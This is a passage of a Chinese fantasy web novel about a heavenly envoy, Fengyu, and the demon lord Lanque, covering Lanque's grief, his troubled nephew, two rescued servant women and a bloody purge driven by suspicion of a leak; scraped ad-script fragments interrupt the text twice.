兰阙斟上一杯酒,仰头一饮而尽。酒杯重重地落下,他顿了顿说:“身为魔主肩负的重担太多,夜里我睡不着,就回到那个空荡荡的大殿中,想着哥哥先前都是怎么应付这些繁琐的事情。大殿又冷又黑,就像一口深不见底的漩涡,我很害怕......我怕再也走不出来。” 魔域的日子不好过,凤钰理应高兴,但他此时却被兰阙的情绪感染,竟然心中也有几分喘不过气。魔域如何他不在意,兰阙身为魔域之主和他又有什么关系? 凤钰故作良善地安慰道:“不愿想就不要想了,那些过去的人和事就将他们封存在心底,作为宝贵的回忆。等有朝一日你能够接受这些事,再将他们拿出来缅怀。政务多繁琐,就算是天帝也会烦忧,你能在短短几日内接手已是天赋过人,不必急于一时。至于大殿......以后若是你想去大殿便多找几个人陪着,在殿上四处点上灯,就不会觉得又冷又黑了。” 兰阙呵呵一笑,脸上浮现一层桃粉色,有些迷糊地看了凤钰一眼:“凤钰,我真羡慕你。” “你只看到了我天生丽质、风流洒脱的姿态,却不知我自天地初开时便活在世上,日复一日年复一年,再有趣的日子过久了也会枯燥无味。你突然身负重任必然会觉得压抑,但人活在世,又有几个能够真正地一世逍遥?”凤钰干了一杯酒,撩起袖口替兰阙夹了些小菜,低声说:“你喝多了,吃些菜压一压。” 兰阙口中索然无味,自然是吃不下去的。他垂眸艰涩地问道:“凤钰,我真的能做到吗?” 凤钰拿起杯子,与他放置在桌上的酒杯碰了一下:“兰阙,以我对你的了解,你无需问这样的问题。” 兰阙的酒意上头,身上多了几分飘然之意。 他起身化出一柄长剑,清风拂过的刹那,一跃而起,剑如闪电一般刺破夜空。剑光凌然,时而如白蛇吐信,时而如游龙清影。一轮皎皎月色下,衣袂翩跹、身姿如燕。 醉意让他暂时忘却了心中的痛苦,他肆意舞剑,仿佛将所有的压抑全部发泄了出来。 凤钰摸索着手中的玉盏,遥遥望着屋檐上兰阙肆意的身影,忽然觉得眼睛被刺了一下,垂眸掩去了心中的波动。 兰阙在魔域的根基不牢,魔族又是生性残暴的民族,境内动荡不安、分崩离析,许多暴民趁乱滋事,烧杀抢夺。 魔族逃不出大漠,留下又面临水深火热,百姓怨声载道,将所有问题归咎于新任魔域之主。 兰阙被魔域境内的新旧问题缠身,花了很长时间加大对秩序的管控和惩罚力度,但魔域的环境和生活水平已倒退数百年,阶级分化扩大,街上随处可见乞讨和流浪的平民。 兰渊自那日大殿逃走后,许多年没有出现在世人眼前。 听闻他曾和兰阙大吵过一架,按理过继之后他对兰阙的称呼应该从叔父转为父亲,但兰渊不愿意改口,还对兰阙冷嘲热讽一番,让他断了这个念头。 兰渊当年有多喜欢兰阙这个叔父,现在就觉得有多别扭。兰阙也未有强迫他,这件事就随他去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 兰阙对教导兰渊非常上心,几乎事事过目,并邀请博闻多识的凤钰给兰渊讲席。凤钰从未当过教习先生,但吹牛倒是有一套,于是闲来无事便去了几遭。兰渊和兰阙之间的别扭,多亏了凤钰在其中周旋,这也让凤钰和兰渊相处的时间多了起来。 兰渊身上的孩童气已褪去,肤色雪白,唇色殷红,眉眼之间清新秀丽,越发与孟将军相似。 凤钰优哉游哉地跟他讲述自己流连天界的趣事,他眼底藏着一丝看不透的复杂,听到有趣的地方微微勾起唇角,笑意不那么明显,却夹杂着一股说不出的阴郁气质。 “天帝有着无上的权力,他不喜参与争斗,却喜欢看别人争斗。” “你若是有朝一日去了青丘,遇见那位永昭殿下的正君公子鸢,就知道什么叫花枝招展。” “魔域也有很多新鲜玩意儿,比如说红宵苑这样的场所在其他地方就见不到。” 凤钰不能将自己的真才实学透露给兰渊,却将丰富的见闻、风流的事迹传授给了他,让兰渊了解了许多魔域之外发生的事情。 饶是凤钰如此欢脱的讲学,却无法改变兰渊性情中的古怪。他变得不再好动,也不喜阳光,眉间总是凝着一丝沉郁,对旁人的态度阴晴不定。 魔宫的侍从对他心生惧意,每每见到都低头不敢直视,唯有一个称得上玩伴的友人是宫中某位乐师之子苏怜漪。 凤钰在兰渊殿中见过几次苏怜漪,那名少年约莫与兰渊一般大,长着一双漂亮的桃花眼,灵动活泼,心思很多。 他对乐理颇有造诣,吹拉弹唱样样精通,尤其是琴技承袭了父亲,世间一流。兰渊和他自小相识,虽然尊卑有别,但对他还算亲近。 兰渊时常召见他进宫,偶尔也会随他出宫。就在那个时期,苏怜漪在街上捡到了一名女童。 苏怜漪遇上这名女童时,一群乳臭未干的男孩正驱着一只凶恶的犬在大街上追赶她,只因为她昨日夜里实在饥寒交迫,所以翻进犬舍,偷吃了碗里的剩菜。 女童身上没有一处是干净的,好像刚从一个泥潭中滚出来。她光着脚丫匆匆碾过地面,踩在石子上,哗啦一声,也顾不得脚上的伤口,便闪身躲进街尾一条隐蔽的巷子里。 未走几步便发现巷子没有出口,她被围在巷子里一顿好打,打得鼻青脸肿、涕泗横流,脸上、腿上、肩胛上留下一排深深的牙印。 苏怜漪在茶楼的二楼将发生的一切尽收眼底。 魔域此时混乱不堪,时常出现霸凌。他见怪不怪,本来不想多管闲事,却在欲转身回房时看见奄奄一息的女童死死咬着牙齿,擦干了眼中的泪水,将所有的血和泪憋了回去。 她废了很大的力气撑起小小的身体,缓缓从地上爬了起来,向前踉跄一步,重重跪在地上。她的脑袋杵在肮脏的泥土里,忍着浑身的剧痛,大口地喘息着。 一双脏手撑在肩膀两侧,一用力,又将身体支了起来。如此反复多次,半个时辰过后,她终于爬出了巷子。 苏怜漪回到茶楼中,桌上的茶已经凉透了,他看了一眼杯中的水,忽然冲下楼走到巷口。女童正倚靠在街角休息,见他一身干净,蓦地往回缩了一下,挪开了目光。 苏怜漪停下脚步,目光扫过她那双黑色的脚丫,犹豫半晌,向她伸出手:“你要跟我回家吗?” 女童僵着身体飞快瞥了一眼他伸出的手,粗糙的脚向后挪了半步,眼中满是戒备和警惕。 苏怜漪浅浅地笑了一下,笑容干净、温暖,如同春风和煦:“我家里缺一个好耐性的侍女,或许你能做到。” 女童名叫殷乐,看上去只有八九岁的模样,实际上年龄应当比看上去要大一些,长久以来风餐露宿和各种欺凌与压迫,让她身姿娇小羸弱。苏怜漪将她领回家后,交给了宅中的管事,吩咐不必特意照顾。 殷乐身上断了几根骨头,在屋里修养了两日,伤势未好就抢着干活。她做事很勤快,几乎任劳任怨,不论吩咐她做什么,她都不会多问一句只管立刻去做。 苏怜漪有意试探殷乐的品性,让一名侍女将碗打碎栽赃到她头上,殷乐虽然据理力争,但争不过他故意打压,挨了板子又遣去做更加腌臜的活儿。 殷乐受如此委屈,却不再反抗,依旧整日埋头做事。就在他觉得无聊时,那名栽赃陷害殷乐的侍女突然染了怪症,浑身长满了红色的疹子,瘙痒难耐,众人恐会传染,将她凉席一卷扔出了院子。 苏怜漪暗中调查一番,虽然觉得此事和殷乐脱不了关系,但却没有找到证据。好耐力,好手段,他不禁对殷乐更加感兴趣。 兰渊曾在拜访苏怜漪时,在他家中见过殷乐。女子身材窈窕,长相透着一股灵气,眼神刚毅,端茶倒水手法老练,身上却没有那种下人的卑微,他不禁多看两眼。 苏怜漪察觉兰渊的目光,若有所思道:“殿下若是喜欢,不如我将她送与你?” 女子听见他的话,眸光中恍然闪过一缕轻蔑,再仔细看时又如一根木头没有多余的表情。 兰渊不接他的话茬,低声道:“真要送给我?” 苏怜漪眸光微动,抿嘴道:“殿下,你若真想要,我还能阻止不成?只是她身份低微,连宫中的侍从都比不上,你尚未及笄,若领一名女子回去,如何同主上交代呢?” 兰渊却是勾起鲜艳的唇,再看他时眼神带着一丝了然:“我不能领回去的人,你倒是可以。原来你喜欢这样的?” 苏怜漪笑着推辞,余光瞥了一眼谈笑的对象,她洗漱干净后,皮肤白皙细腻,低垂着头,长长的眼睫掩去了眼中的神色,红润的唇和一抹小巧的下巴,在一众侍从之中倒也算得上长相出色,若是好好打扮一番说不定是仙姿玉色。 不过喜欢她这样的?苏怜漪从没想过,他虽为乐师之子,但心高气傲,又得下任魔域之主的青睐,往后定会找一个对他更有助益的女人。殷乐,等她再大一点,或许能成为一种消遣。 189. 第 189 章 时光飞逝,转眼一百年过去,魔域在兰阙的统治下渐渐恢复稳定。凤钰算着时间,在兰阙稍稍清闲下来时,邀请他一同去大漠散心。 两人乘着马在大漠尽情飞驰,马踏黄沙,掀起一层又一层迷雾。不知跑了多久,马儿跑累了,两人就坐在沙丘上闲谈。 兰阙端坐着,望着一望无际的大漠,眼神变得柔和:“凤钰,上一次我们一起来大漠,还是你初来魔域的时候。那次你差点被风沙埋了,我找你找了许久,心里都快急死了。” 凤钰坐在沙丘上,两手撑在身后,干笑两声:“哈哈,多亏有你,不然我一世英名,恐怕要交代在这里了。”望着大漠之上,灼热刺眼的太阳,感叹道:“一晃这么多年,大漠依旧壮美如初。” 兰阙眼中浮上一层笑意:“我幼时经常偷跑出魔域,来大漠游玩。哥哥总是在傍晚时分出现在城门口,说来抓我回去。” 凤钰不自觉勾起唇角:“哦?兰阙竟然也会做这样的事?我以为你不会违背前魔主的意思。” “这不算是违背。哥哥其实派人偷偷跟着我,他装作不知道,就是一种默许。我在魔宫待着无聊,只有来到广阔的大漠,我可以一人无拘无束地尽情飞驰。”兰阙满眼都是对那些日子的怀念。 凤钰看着兰阙,眼中的轻浮淡去,有几分欣慰地说:“你已经能够谈论前魔主了。” 兰阙深吸一口气,淡然道:“是啊,我以为我会无时不刻地挂念他们,但忙起政务便不知时间,长此以往,我只有在闲暇时才能想起他们了。你说,哥哥嫂嫂若是知道,会不会骂我没良心?” 凤钰宽慰道:“他们定然希望你能有自己的生活,看到你现在的样子一定会感到很欣慰的。” 兰阙看了凤钰一眼,笑道:“凤钰,若不是你这些年留在我身边,我真的不知道该怎么过下去。我知道你可能是因为我才留在魔域,但你总归会回到天庭,你......打算在魔域待到什么时候?” 凤钰摇了摇双脚,抬头望向天际,故作沉思,然后噗嗤一声笑出声,拱了拱兰阙的肩膀:“我来去自由,就算离开魔域也能再回来。不过,我现在还不想离开。” 暮色四合,凤钰从地上一跃而起,伸手去拉兰阙,兰阙看了他一眼,一把抓住他的手借力起身。两人回头一看,原本溜出来的两匹马只剩下了一匹。 两人没有追究那消失的一匹马去了哪里,而是相视一笑,骑上了同一匹马。 夕阳下,沿着大漠的轮廓,两人一马,咫尺天涯。 到繁星满天时,两人才趁着夜色,四下无人时赶回魔域。 临到城门口,凤钰从马上一跃而下,牵着马向城内走去。 城门口的侍卫见到魔主,皆跪地行礼。马一路走过寂静的主街,兰阙俯下身子低声道:“凤钰,今夜我不想回宫。” 他轻柔的声音伴随着晚风,让凤钰有些心猿意马。他站定了脚步,没有回头,声音还是一如往常的散漫,只是攥紧了手中的缰绳:“不回宫?不回宫你想做什么?” 兰阙道:“你还记得先前我们在城门口救了一个女人吗?我将她安置在我原先那间宅院了,我想去看看。” 凤钰心中不知是什么滋味,回头笑道:“好啊。” 凤钰与兰阙在一次私访途中,在城门附近捡到了一个晕厥的女子,看穿着打扮,不像是魔域之人。她被安置在兰阙的别院,身体极弱,过了好几日才清醒过来。 初醒时对凤钰和兰阙很是戒备,眼神充满了警惕和攻击性。凤钰一副纨绔子弟的模样,说话又甚是风流,怎么看都不像是个正经人。兰阙气质文雅、谈吐大方,更像是个好修养的人,但因着身份与她接触甚少,过了两个月,她才逐渐对他们卸下心房。 女子名叫柳丝儿,长相娇媚,本是边境一农户出身,因被山里的野狼妖仙惦记上,抓到山里当了几年狼媳妇。 野狼生性暴戾,性情极差,她在野狼手中受尽折磨,狼群抱团对她的悲惨遭遇视而不见。她被狼群囚困多年,直到最近才终于找到机会逃跑。谁知道一出山林便是魔域的大漠,她若是回头必然会被狼群抓回去,等待她的更是无法想象的痛苦,所以无奈之下只能穿越大漠寻求一线生机。 因柳丝儿的身世实在凄苦,在魔域又无依无靠,兰阙将她留在了院内做些杂事。 两人将柳丝儿往客邸一丢,几乎忘了这件事情,如今再记起时,已过了好几年。两人站在宅子的大门前,仿佛来者是客,显得有几分拘谨。兰阙轻轻敲了敲门环,未过多久,门内响起一声清脆的“来了!” 门被推开,一席倩影地从门内迈出,看见他们脚步一顿,眼中划过一丝惊讶。她穿的布料虽然粗糙,上面的花纹样式却极有特点,腰间裁了一条绢花一路缠绕至裙边。头发只用一根绿色的发带缠绕,顺着耳侧绑了一只辫子,既朴素又得体。 凤钰阅人无数,一眼看出这个女子便是柳丝儿,只是经年未见,她变得外扬、干练了许多。 兰阙恍然道:“你是柳姑娘?” 柳丝儿笑着点点头,招呼他们进门:“你们怎么才来?我还以为你们都忘了这间院子。” 平日里各人都对兰阙毕恭毕敬,柳丝儿明知兰阙现在是魔主,说话却毫不顾忌。兰阙没有在意,凤钰却轻笑了一下,带着几分揶揄看了兰阙一眼。 柳丝儿带他们绕进连廊,回头笑道:“行了,我知道你们平日忙碌,顾不上这犄角旮旯的地方,我就是客气一下,别在意。” 侍从对主人说客气倒是头一次见。 经年未见,院子里依旧简朴干净,仿佛什么也没改变。 “现在这院子是柳姑娘在打理?”兰阙问。 “看院子的老伯年纪大了,说自己管的事情太多有些力不从心,就将院子交给我回家里颐养天年了。”柳丝儿带兰阙和凤钰进了客厅,侍从给他们倒了新茶,又递上了一个本子。 柳丝儿翻开本子,密密麻麻的字浮现在书页上,她随手一挥,上面的字随之变换。柳丝儿拿着账簿给兰阙通报了这些年院中涉及的财务,不论是房屋的修缮、侍从的俸薪、商铺的租金、购置物件......每一笔都记得详细准确。 兰阙听的很认真,不时询问几句,柳丝儿毫不慌张,一字一句对答如流。 兰阙与凤钰对视一眼,心中不觉有几分惊叹,他们竟然捡到了一位如此有治理才能的人。 凤钰更是喜上眉梢,忍不住拍大腿道:“我就知道我不会捡错人。”他目光灼灼地看着柳丝儿,眼中浓厚的兴趣和欲望呼之欲出。 柳丝儿避开他的目光:“凤钰公子说笑了,我不过是在其位谋其职,这都是我分内的事情。我很感激魔主和凤钰公子收留,如今这院子只剩下我一个管事的,我自当尽心尽力。” 凤钰垂眸,眼波一转,忽然笑眯眯地对兰阙说:“兰阙,我想在红宵苑对面开一家叙情馆,正愁找不到当家人。你知道我平时游手好闲,这经营的事务若是让我做几天或许还行,时间久了我定然会觉得枯燥无味。我看丝丝对管理颇有天分,若是留在院子里看家,怕是屈才了。” 兰阙抿了口茶,将杯子搁在桌上,看了柳丝儿一眼:“我明白你的意思。不过柳姑娘并非由我聘用,她的去留我做不了主。不如你直接问问她的意思。” 柳丝儿有着七窍玲珑心,不是听不明白两人的意思,脸上却略显迟疑,笑得勉强:”凤钰公子的好意我心领了,只是经营叙情馆比管理院子复杂许多,我只是一个没有见过世面的女子,不知道该从何做起。凤钰公子,还是另请他人吧。” 凤钰没想到她如此轻巧地拒绝了自己,又追问了几次。偏偏柳丝儿不畏强权,凤钰越是执着,她就越是坚定。可是另寻他人说的轻巧,凤钰想要再魔域找一个知根知底、又才能出众的人并不容易。 此后凤钰多次登门拜访柳丝儿,连兰阙都忍不住问他是不是对柳姑娘别有用心。凤钰不承认也不否认,他确实别有用心,但此心非彼心。 柳丝儿心中有结,凤钰就想尽办法打开她心中的结。几个月后,凤钰又一次风尘仆仆地登门,与柳丝儿彻夜长谈,终于说服她出山。原来柳丝儿虽然已来到魔域多年,但是依旧对过去的事情十分惶恐,她害怕野狼会穿越大漠将她抓回去,所以平日不敢抛头露面,也不敢做过分张扬之事。 凤钰为此特意去了一趟青丘,找到了柳丝儿说的野狼群,为她永绝后患。 柳丝儿听说野狼已死,惊得来来回回踱步,深吸了好几口气。 凤钰问她后悔吗? 柳丝儿摇摇头,眼中的恨意淡去。她怅然若失地说:“我时常想为什么我们的寿命这么长?我听闻天界之下还有一个叫凡间的地方,那里的人寿命不过百年,百年之后一碗孟婆汤忘却前尘旧梦又可以重新开始。我们却要守着漫长的岁月,不断被过去的回忆困扰,等待也许有结束的一天。” 凤钰笑道:“丝丝你这是在笑话我吗,我活过的日子可比你长多了,体会过的滋味是你想象不到的。你若是想忘掉过去的事情,大不了我去一趟冥府,帮你要一碗孟婆汤。” 柳丝儿擦干了眼角的泪,摇了摇头:“我已没有那么脆弱。” 于是柳丝儿告别了兰阙的宅邸,摇身一变成为了鸾喜阁的当家之人柳夫人。 鸾喜阁盛大开张,鞭炮声响彻街头巷尾,店员在门口吆喝:“鸾喜阁开张大吉,自今日起连续一个月酒水全免,欢迎各位前来捧场。” 引来不少顾客争相涌入,一时间盛况空前。 凤钰站在二楼栏杆后,望着大堂满座宾客,在喧嚣声中捂着心口哼哼道:“钱还没赚到先洒出去了,你就不能心疼心疼我的小钱钱?” 柳夫人一身雍容的华服,艳丽的装束改变了她的气质,变得明艳动人,如同盛开的花朵。她倚靠在围栏后,闭着眼笑道:“你若是想赢对面的红宵苑,只管看我的。” 柳夫人果真不负凤钰所望,凭借着敏锐的嗅觉和果断的决策,生意日渐红火,在短短十年内就与拥有几百年历史的红宵苑平分秋色。 凤钰大喜过望,说要一举打败红宵苑。谁知柳夫人却不同意,她说市面上留一个竞争对手未必不是好事,树大招风,恐怕麻烦更多。凤钰也不勉强,反正他背靠兰阙这位魔主,也不怕被人算计。 鸾喜阁招收了许多天界各处遭遇凄惨,投奔无门的男男女女,为他们提供了一份庇护和生计。兰阙知道后,专门给鸾喜阁开了后门,准许他们进城时不用下马严查。 一晃多年,凤钰再次收到了天庭的来信。天帝催他尽快返回天庭,他以失去锁魂铃的下落委实惭愧为由,暂缓回去的时间。 凤钰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并非忘了自己的本职工作,而是离开天庭这些年,让他渐渐觉得神职似乎对他没有那么重要。如果因此违背天帝的意思也是不值,于是凤钰择日进魔宫拜访兰阙,顺便探一探消息。 宫里的侍从将他一路引去了大殿前,恭敬地低头说道:“魔主正在和小殿下谈话,请凤钰公子在此等候。”小殿下即是兰渊。 话音一落,殿上突然传来争吵声。凤钰意外地挑了一下眉,不论是兰阙还是兰渊都不是性情急躁之人。他与侍从对视一眼,笑道:“你先下去吧。” 凤钰目送侍从离去,并未等候在原地而是走上大殿,步伐稳健没有丝毫的犹豫。 一进大殿便看见兰渊站在殿中央,微微侧头余光看了凤钰一眼,眼中闪过意味不明的神色,有些阴阳怪气地对殿上的兰阙说:“叔父,你和凤钰的关系真是让人羡慕。进宫无人通报,就让他堂而皇之地走上大殿。还是他在魔域挂了什么职务,我竟然不知道?” 凤钰略微敛了下脸上的神色,不等兰阙出声便说道:“渊渊今日生的哪门子气,来,快给凤钰叔叔说说。”凤钰作势走到他身边要揽过他的肩,被兰渊挣扎开,如此一来,倒真像是小孩子在闹别扭。 “别碰我。”兰渊的眼中划过厌恶之色,又看了大殿上的兰阙一眼,阴冷地笑了一下,那笑意未达眼底,让人觉得毛骨悚然。 “我敬你一声叔父,但你是怎么坐上这个位子的,你心里清楚。你脚下踩着的是我父母的骨灰,若不是为了护你周全,父亲不会亲自出征。”兰渊愤然道。 殿上气氛恍然一变,兰阙站立的身影微微颤抖:“你说什么?” 凤钰见势不对,高声道:“小殿下,事情已经过去了数百年,既然你父亲当日做了如此决定,定然有他的理由,你何以因此责怪你在这世上最后的亲人?” 兰渊阴沉着脸与兰阙对视良久,愤而拂袖离去,留下凤钰无奈地望着殿上头疼的兰阙。 兰阙扶额深深叹了一口气,从殿上走下来,身后的影子也随他疲惫地从台阶上一级一级跌落。 “让你看笑话了。我原想让渊儿多与魔域的将臣走动,将来继位之时也好获得更多支持,不要像我一般什么都是从头学起。他的脾气越发古怪了,你刚才看到了吗,他那一身阴气不知从何而来,既不像哥哥,也不像孟将军。我真是......愧对哥哥嫂嫂。” 凤钰宽慰道:“兰渊年纪小,也许他还没有从爹娘离世中走出来。” 兰阙点点头,脸上满是愁容:“我每日忙于政务,与他相处的时间越来越少,怕是会忽略了渊儿的感受。” 凤钰拍了拍他的肩膀,笑道:“你将兰渊想的太脆弱了,他又不是你。” 兰阙脸色一变,愠怒道:“你的意思是我才是最脆弱的?” 凤钰哈哈大笑,笑声在殿内回荡,眼中余留一丝笑意:“不说了,喝酒吗?” 凤钰与兰阙相识于沧澜宴,似乎从一开始就与酒有不解之缘。 兰阙没有设宴款待,而是在魔宫的一处新修的水榭花台里,摆设几坛子好酒和一桌下酒菜。亭台紧挨着一处瀑布,哗哗流水从亭边穿流而过,岸边簇拥着一片灿烂的凤尾兰花。 那日兰阙心情郁闷,喝了不少酒,醉得厉害,酒气熏红了双眼。兰阙一醉便爱舞剑,亭台流水,剑花翻飞,剑风伴随着水声,一刚一柔,少见的肆意潇洒。 凤钰原本以为兰阙性情温和,不善于舞刀弄枪。可瞧见了几次他酒后舞剑,倒也发觉他不愧是前魔主的弟弟,剑在他的手中舞得游刃有余,颇有侠气,只是风格与那些粗鲁的战士不一样罢了。 兰阙醉的有些恍惚,凉风一吹,眼前的景物出现了重影。他从空中跌落亭旁,踉跄一步,摇了摇越发沉重的脑袋,手臂一软,剑就要插入地上。 忽然一个身影贴身而上,从身后扶住了他的手臂,将他往后一带,挽了一个剑花,推剑而出。 温热的手搭在兰阙的腕上,他的脑子越发不清醒,垂眸沿着脚下一路看向亭前月色下紧挨的两团影子。 他心里一软,竟然觉得这影子平白生出了几分旖旎之色。 兰阙收回手,良久没有回头。 清风拂过,凤尾兰花在流水声中摇颤。 “你知道你在做什么吗?”兰阙低着头,额前的法掩去他眼中的神色。他此时不知是醉是醒,只觉得好像在做一个荒诞的梦。 凤钰散漫的声音在身后响起,他贴得很近,声音如同蚂蚁钻进了兰阙的心里。 “我在陪魔主舞剑。魔主近来心中多有烦闷,能够发泄出来自然是好的。” 兰阙抬起头,转身眼中晦涩不明地望向凤钰:“只是如此?” 凤钰轻笑道:“只是如此。我见魔主不胜酒力,觉得这段剑舞如果断在这里实在可惜,所以忍不住加了一个收尾。怎么,难道魔主不喜欢?” 兰阙随手丢下剑,撇开头:“以后,别再做这样的事。” 他转身离开,凤钰在他身后嬉皮笑脸地嚷嚷道:“别再做什么?魔主,你这就走了?今朝有酒今朝醉,还剩下两坛不如喝完再走?” 兰阙冲身后摆摆手,没有回应。 几日后,凤钰收到了一柄凌霄扇,是兰阙为那日醉后失仪的赔罪。扇子很是符合他风流浪荡的气质,从此成为了凤钰的贴身之物。 190. 第 190 章 那位死里逃生的魔兵被赏赐了许多金银珠宝,和一座能够颐养天年的宅子。事过三百年,时过境迁,魔宫的人都很有默契,不再旧事重提。一日那个魔兵不知突然生了什么心思,竟然找到宫中来说想起了要事要禀报魔主。 兰阙亲自接见了这名魔兵。据后来的坊间传闻,魔兵先前虽然交代了大战发生的经过,但却遗漏了些细节,他休养这三百年,日日辗转反侧,觉得有些事非得禀报魔主不可。 颛靡原本是妖,在魔域境内吸食了大量魔气后,成为了怪物。他生性狡猾残暴,不愿一世躲藏在魔域,所以铤而走险穿越魔域与青丘边境。 有消息称,颛靡曾躲藏在青丘的西北大山中,他这次返回青丘,很有可能会先回到西北方。 于是孟将军带领二十位魔军战士,从他行径的路线中,取道一座大山包抄颛靡,却扑了个空。而正当他们回撤时,颛靡突然出现,将他们围困在山谷。 形势陡然逆转,孟将军与二十位将士与颛靡大战七天七夜,不知为何颛靡好似不知疲惫,越战越勇。而那座山谷仿佛与外界隔绝,孟将军屡次发射信号,魔域却没有任何回应。最终将一队人马被困死在山谷中。 颛靡又将孟将军做饵,等到前魔主兰霄赶到山谷时,山谷中已是一片狼藉。前魔主带领一队将士与颛靡在群山之巅大战,却没想到这魔兽比想象中厉害许多。前魔主与他相互抗衡,却无法将他打败,最后不知用了什么法器,让天地变色、万物凋零,与颛靡同归于尽,消失在茫茫火海之中。 兰阙肩批深色皮草,着织金云锦,头戴墨冠,脚踏黑靴,端坐在大殿上听魔兵口述,一派沉稳轩昂,神色不见一丝波动,道:“这些都是你先前说过的,你说有要事禀报,是何事?”如不是他放在膝上的手捏紧拳头,骨节泛白,一点也看不出内心的波动。 魔兵跪在殿下,抱拳俯首:“属下只觉得奇怪,孟将军是从哪里得到的消息,颛靡在青丘行径的路线?为何颛靡对孟将军和前魔主的动向如此清楚?” 兰阙眼神一变:“你是说,魔兵之中有人泄露了消息?” 魔兵将头埋得更低,声音晦涩道:“属下不知,属下猜测......”他不知为何吞吞吐吐,兰阙原本好耐性,此时身体却有些不受控制地发颤:“你想到什么了?快说!” 他的呼喝声响彻大殿,声音不再温和,而是带着沉重的威压。 魔兵膝下一软,扑倒在地,不敢与他对视,惊声道:“魔主,属下斗胆猜测,会不会有魔域之外的人介入了此事。” 兰阙瞳孔微缩,从宝座上站了起来,压着颤抖的声音道:“魔域之外的人?魔域之外的人......”他走到台阶前,缓缓闭上眼睛,再猛地睁开,眼中的愤恨难以掩饰:“天庭和青丘,难道是他们?” 魔兵见状,抬起头悲怆道:“魔主,属下斗胆多说一句,其实魔兵私下一直有传言,说那位凤钰公子是从天庭而来。您与他相识多年,但防人之心不可无,您还是小心为妙。” 兰阙倒吸一口气,大喝一声:“是谁给你的胆子妄议凤钰?” 魔兵赶紧匍匐在地上:“属下,属下只是想提醒魔主,凤钰公子是外人,魔主这些年与他交往甚密,外面都传言......” 兰阙语气冷了下来:“传了什么?” 魔兵犹豫了一会儿,道:“......传言魔主有断袖之嫌。” 大殿上安静极了,魔兵没有等来兰阙的怒斥,偷偷抬起头,却见兰阙垂眸平静地看着他,神色深沉又复杂。 兰阙疲惫地捏了捏眼角,轻叹了一口气:“荒谬!我与凤钰只是多年故交......” 他拂了拂袖:“你今日说的我会再做调查,若是没有其他事,回吧。” 魔兵不敢多言,起身退下。 几日后,魔域内开始了一场大清算,严查当年与颛靡之战期间,与外界有密切联系的魔族。上至魔官下至百姓,无不彻查。有嫌疑的人一律抓走审问,如有违抗,就地论斩。当年天界三地可以自由往来,魔族与外界的沟通并不少,一时间魔域人心惶惶。 兰阙上位后手段温和,也是被一众魔官所诟病的。这一次他以铁血之腕,宁可错杀一千也不放过一个,颠覆了魔族对他的认知,也让魔域掀起了一阵肃杀之风。更有贵主趁乱为非作歹,魔域的百姓叫苦不迭。 也就在这期间,凤钰接到了天庭的任务,天帝派人前往虚云山庄,取得能够扭转乾坤的宝贝,要求凤钰前往协助。 凤钰一想到那个神经兮兮的虚云山庄庄主就深感头疼,此前和她闹的并不愉快,但天帝既然要求,他也不能拒绝。谁料世上竟然真的有如此蹊跷之事,他还未抵达虚云山庄,便在外头看到了那个疯女人。 她居然还失忆了。 如此这般一顿折腾,他差点被人发现,只能赶紧逃出山庄。 等他回到魔域时,魔域已经陷入了水深火热。 凤钰不知兰阙为何出此下策,于是又一次进宫面见兰阙。 兰阙几日不见似乎冷漠了许多,凤钰鲜亮的身影出现在大殿上,兰阙竟然一言不发地看着他一步一步走上前,眸光深沉复杂,清凉的眼眸仿佛蒙上了一层雾霭。 凤钰脸皮极厚,对什么脸色的人都能笑得出来:“魔主这是怎么了?怎么一副苦大仇深的样子,看上去老了十岁,是谁在我不在的时候惹了我们家阙阙?哎呀呀,该不会是我几天没来,你不高兴了吧?我这不是来了吗?” 兰阙眼睫一颤,沉声道:“我没有不高兴。说吧,你来所谓何事?” 凤钰继续笑道:“怎么突然这么冷漠?我听说前些日子那个在颛靡之战幸存的魔兵来找过你,可是他说了什么?” 兰阙大殿上走下来,步履沉稳,身上的皮草和金色图腾衬得他雍容有度,望向凤钰的眼神如一汪静水,看不出情绪,倒让凤钰心里一颤。 兰阙紧紧锁着凤钰的双眸,启声道:“他说了什么,重要吗?” 殿上的气氛陡然绷紧,压迫感促使凤钰心跳加快了几分。但越是紧张,他表现得越是轻松,耸了耸肩:“区区一介魔兵,当然不重要,可是为何你突然在魔域搜查当年和外界有联系的人?” 兰阙漫步至中殿,眺望殿外湛蓝的天空,不知有意还是无意道:“他说当年颛靡之战,或许有人泄露了信息。” 凤钰眼中划过一丝异色,他在心中飞快地回忆了一遍当年发生的事情,又揣摩了一遍兰阙告诉他这件事的意思,语气依旧轻松地问道:“他说你就信了?” 兰阙回头看他:“你这是什么意思?” 凤钰走到他身边,掏出凌霄扇在衣襟前扇了扇:“他当时不说,这个时候说有什么用?依我看,他或许是在大战中深受重创,时间久了便臆想出了一些子虚乌有的东西。” 兰阙垂眸思忖,凤钰说的有道理,那些真真假假时间太久,已经无法分辨得清。可是如果他不出此下策,他怎么找出哥哥嫂嫂身故的真相? 凤钰规劝道:“我不知他存的什么心思,我只看到魔域的百姓好不容易生活有了转机,这些天又遭了不少罪。他们是无辜的。兰阙,收手吧。” 兰阙闻言,眸光一动,深深看了凤钰一眼,不知该不该继续相信他。凤钰自天庭而来,他虽与那帮神官不同,但总归不是魔族。他对天庭都如此随意,对魔域定然是不上心的。 ——那么他对自己可有真心? 兰阙望着凤钰的笑眼,心中忽然像被针扎了一下:“收手?凤钰,那是我的哥哥和嫂嫂!那是魔域的将军和战士!他们又何其无辜?我如果不追究下去,如何对得起他们?如何对得起整个魔族?” 凤钰望着兰阙满眼的悲愤,心里蓦然涌上一股沉郁,陌生的感觉犹如绵绵阴雨,叫人浑身不快。 他深吸一口气,强行将这种情绪压下,执拗地想,他背靠天庭,本就不是来加入魔族,而是来搅乱他们的。魔域一乱,他就能向天帝复命,何必理会兰阙的对错? 凤钰喉头一滚,唇边擒着浅淡的笑:“你说的对。不能让前魔主与孟将军枉死,不能放过一丝的线索。只是这样,就能找到所谓的泄密之人吗?事情已过了三百年,难道泄密之人会将证据一直留在手中,还是他无法逃出魔域等着让你发现?殿下,你不觉得此事有些蹊跷吗?也许是我想多了,我只是怕,怕你又伤了心。” 